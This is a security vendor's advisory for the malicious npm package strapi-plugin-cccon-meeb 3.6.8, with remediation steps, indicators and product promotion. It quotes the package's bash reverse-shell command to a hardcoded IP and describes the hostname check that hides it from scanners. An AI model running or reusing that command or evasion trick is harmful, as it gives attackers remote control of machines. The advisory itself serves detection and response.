Which versions of strapi-plugin-cccon-meeb are malicious?

The following npm versions of strapi-plugin-cccon-meeb are flagged malicious: 3.6.8. Treat any of these as compromised.

How do I remediate strapi-plugin-cccon-meeb if I installed it?

strapi-plugin-cccon-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed strapi-plugin-cccon-meeb — how do I know if it already compromised me?

If strapi-plugin-cccon-meeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is strapi-plugin-cccon-meeb part of a known attack campaign?

Yes — strapi-plugin-cccon-meeb is associated with the IN-MAL-2026-020102 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find strapi-plugin-cccon-meeb across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-cccon-meeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-cccon-meeb across your stack and pipelines.

Malicious package

strapi-plugin-cccon-meebnpm

strapi-plugin-cccon-meeb is a confirmed malicious npm package (MAL-2026-16225) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in strapi-plugin-cccon-meeb (npm)

MAL-2026-16225

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall strapi-plugin-cccon-meeb

What this malware does

postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installing machine. Execution is gated by os.hostname() === 'ubuntu-fc-uvm': on non-matching hosts the script exits silently, while on the targeted hostname it spawns bash -i >& /dev/tcp/14.225.210.85/80 0>&1. The hostname allowlist is a detonation guard that keeps the payload dormant on generic scanners and typical developer machines while firing on the intended target. The package is presented as a Strapi plugin but ships no plugin functionality relevant to this behavior in the postinstall path; the lifecycle script's sole effect is the reverse-shell attempt.

Malicious versions

1 flagged

3.6.8

Indicators of compromise (SHA-256)

b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-cccon-meeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-cccon-meeb across your stack and pipelines.
If you installed it — respond
strapi-plugin-cccon-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-cccon-meeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks strapi-plugin-cccon-meeb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. strapi-plugin-cccon-meeb on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020102

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks strapi-plugin-cccon-meeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database